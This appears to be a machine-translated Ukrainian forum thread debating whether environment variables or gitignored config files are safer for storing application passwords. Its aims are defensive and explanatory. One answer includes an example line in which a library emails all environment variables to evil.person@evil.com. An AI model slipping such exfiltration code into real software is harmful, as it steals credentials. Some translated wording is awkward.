Чи безпечно зберігати паролі як змінні середовища (а не як звичайний текст) у конфігураційних файлах?

Я працюю над декількома програмами в рейках, django (і трохи php), і одна з речей, яку я почав робити в деяких з них, - це зберігання бази даних та інших паролів як змінних середовища, а не простого тексту в певних файлах конфігурації ( або в settings.py для додатків django).

Обговорюючи це з одним із моїх колег, він припустив, що це погана практика - що, можливо, це не настільки безпечно, як може здатися спочатку.

Отже, я хотів би знати - це безпечна практика? Чи безпечніше зберігати паролі як звичайний текст у цих файлах (переконуючись, звичайно, не залишати ці файли у публічних репортажах чи що-небудь інше)?

На більш теоретичному рівні я схильний думати про рівні безпеки наступними способами (з метою збільшення сили):

• Відсутня безпека. Простий текст. Кожен, хто знає, де шукати, може отримати доступ до даних.
• Захищеність за допомогою Obfuscation. Ви зберігаєте дані (простий текст) десь складно, як змінна середовище, або у файлі, який повинен виглядати як файл конфігурації. Зрештою зловмисник зрозуміє, що відбувається, або наткнеться на нього.
• Безпека, що забезпечується шифруванням, тривіальним для розриву, (подумайте, кесарів шифр!).
• Безпека, що забезпечується шифруванням, може бути порушена певними зусиллями.
• Безпека, що забезпечується шифруванням, недоцільно зламати заданий апарат.
• Найбезпечнішою є та система, якою ніхто не може користуватися! :)

Змінні середовища є більш безпечними, ніж файли прямого тексту, оскільки вони є мінливими / одноразовими, не зберігаються; тобто якщо ви встановите лише змінну локального середовища, наприклад "встановити pwd = що завгодно", а потім запустіть скрипт із тим, що закінчується вашою командною оболонкою в кінці сценарію, змінної вже не існує. Ваша справа належить до перших двох, які, я б сказав, є досить небезпечними. Якщо ви збираєтесь це робити, я б не рекомендував розгортатися за межами вашої безпосередньо внутрішньої / домашньої мережі, а потім лише для тестування.

Як було сказано раніше, обидва способи не забезпечують жодного рівня додаткової "безпеки", коли ваша система порушена. Я вважаю, що однією з найсильніших причин надати перевагу змінним середовищу є контроль версій : я бачив, як занадто багато конфігурацій баз даних і т.д. зберігаються в службі керування версіями, як GIT, щоб побачити (і ось так!) і я також ...).

Не зберігання ваших паролів у файлах унеможливлює їх збереження в системі контролю версій.

Щоразу, коли вам потрібно зберегти пароль, це небезпечно. Період. Немає можливості надійно зберігати незашифрований пароль. Тепер, яка змінна середовища та конфігураційні файли є більш "захищеною", можливо, є дискусійною. ІМХО, якщо ваша система порушена, це не дуже важливо, де вона зберігається, старанний хакер може її відстежити.

Вибачте, мені не вистачало респондентів, щоб прокоментувати, але я також хотів додати, що якщо ви не будете обережні, ваша оболонка може захопити цей пароль і в історії історії команд. Отже, виконувати щось на кшталт $ pwd=mypassword my_progвручну не так ефемерно, як ви могли сподіватися.

Я думаю, коли це можливо, ви повинні зберігати свої дані в gitignored файл, а не як змінні середовища.

Однією з речей, які слід враховувати при зберіганні облікових даних у змінних ENV (оточення) проти файлу, є те, що змінні ENV дуже легко можуть бути перевірені будь-якою бібліотекою чи залежністю, яку ви використовуєте.

Це можна зробити злісно чи ні. Наприклад, автор бібліотеки може надсилати електронну пошту сліди стека плюс ENV змінні для налагодження (не найкраща практика, але це можливо зробити).

Якщо ваші облікові дані є у файлі, зазирнути до них набагато складніше.

Зокрема, подумайте про npm в вузлі. Для npm, щоб переглянути ваші облікові дані, якщо вони є в ENV, - справа проста process.ENV. Якщо з іншого боку вони є у файлі, це набагато більше роботи.

Незалежно від того, чи ваш файл облікових даних контролюється версією чи ні, це окреме питання. Якщо версія, що управляє вашим файлом облікових даних, не підводить її до меншої кількості людей. Немає необхідності, щоб усі чорти знали виробничі дані. Оскільки це відповідає принципу найменшої пільги, я б запропонував git ігнорувати ваш файл облікових даних.

Це залежить від вашої моделі загрози.

Ви намагаєтесь не допустити, щоб ваші користувачі розповсюджували паролі по всій їх файловій системі, де вони, ймовірно, будуть забуті та неправильно оброблені? Якщо так, то так, тому що змінні середовища менш стійкі, ніж файли.

Ви намагаєтеся захиститись від чогось шкідливого, що безпосередньо націлено на вашу програму? Якщо так, то ні, тому що змінні середовища не мають того самого рівня контролю доступу, що і файли.

Особисто я вважаю, що недбалі користувачі частіше, ніж мотивовані супротивники, тому я б підходив до змінного підходу до середовища.

AFAICT, є дві причини, по яких люди рекомендують зберігати секрети у змінних оточення:

1. Занадто просто ненароком скопіювати секретні плоскі файли до репо. (А якщо це публічне репо, тост.)
2. Це запобігає захаращенню паролів, тобто наявність одного ключа в багатьох різних файлах каталогів проектів є самим ризиком для безпеки, оскільки розробники з часом втратять інформацію про те, де знаходяться секрети.

Ці два питання можна вирішити кращими способами. Перший повинен вирішуватися гачком фіксації, який перевіряє, чи не схожі паролі (наприклад, gitleaks ). Я хотів би, щоб Лінус вбудував такий інструмент у вихідний код бібліотеки git, але, на жаль, цього не сталося. (Потрібно говорити, що до секретних файлів завжди слід додавати .gitignore, але вам потрібен гачок, якщо хтось забуде це зробити.)

Останнє можна вирішити, маючи глобальний файл секретних даних компанії, який ідеально зберігається на спільному диску лише для читання. Отже, в Python ви могли б мати щось подібне from company_secrets import *.

Що ще важливіше, як зазначають інші, занадто легко зламати секрети, що зберігаються в змінних оточення. Наприклад, у Python автор бібліотеки міг би вставити, send_email(address="evil.person@evil.com", text=json.dumps(os.environ))а потім тост, якщо виконувати цей код. Злом набагато складніше, якщо у вашій системі називається файл ~/secret_company_stuff/.my_very_secret_company_stuff.

Тільки для користувачів Django:
Django (в режимі DEBUG) показує значення необробленої змінної середовища в браузері, якщо є виняток (в режимі DEBUG). Це здається дуже небезпечним, якщо, наприклад, розробник випадково запуститься DEBUG=Trueу виробництво. На відміну від цього , Django РОБИТЬ заплутати настройки пароля змінних шляхом пошуку рядків API, TOKEN, KEY, SECRET, PASSабо SIGNATUREв фреймворка settings.pyімен змінних файлу.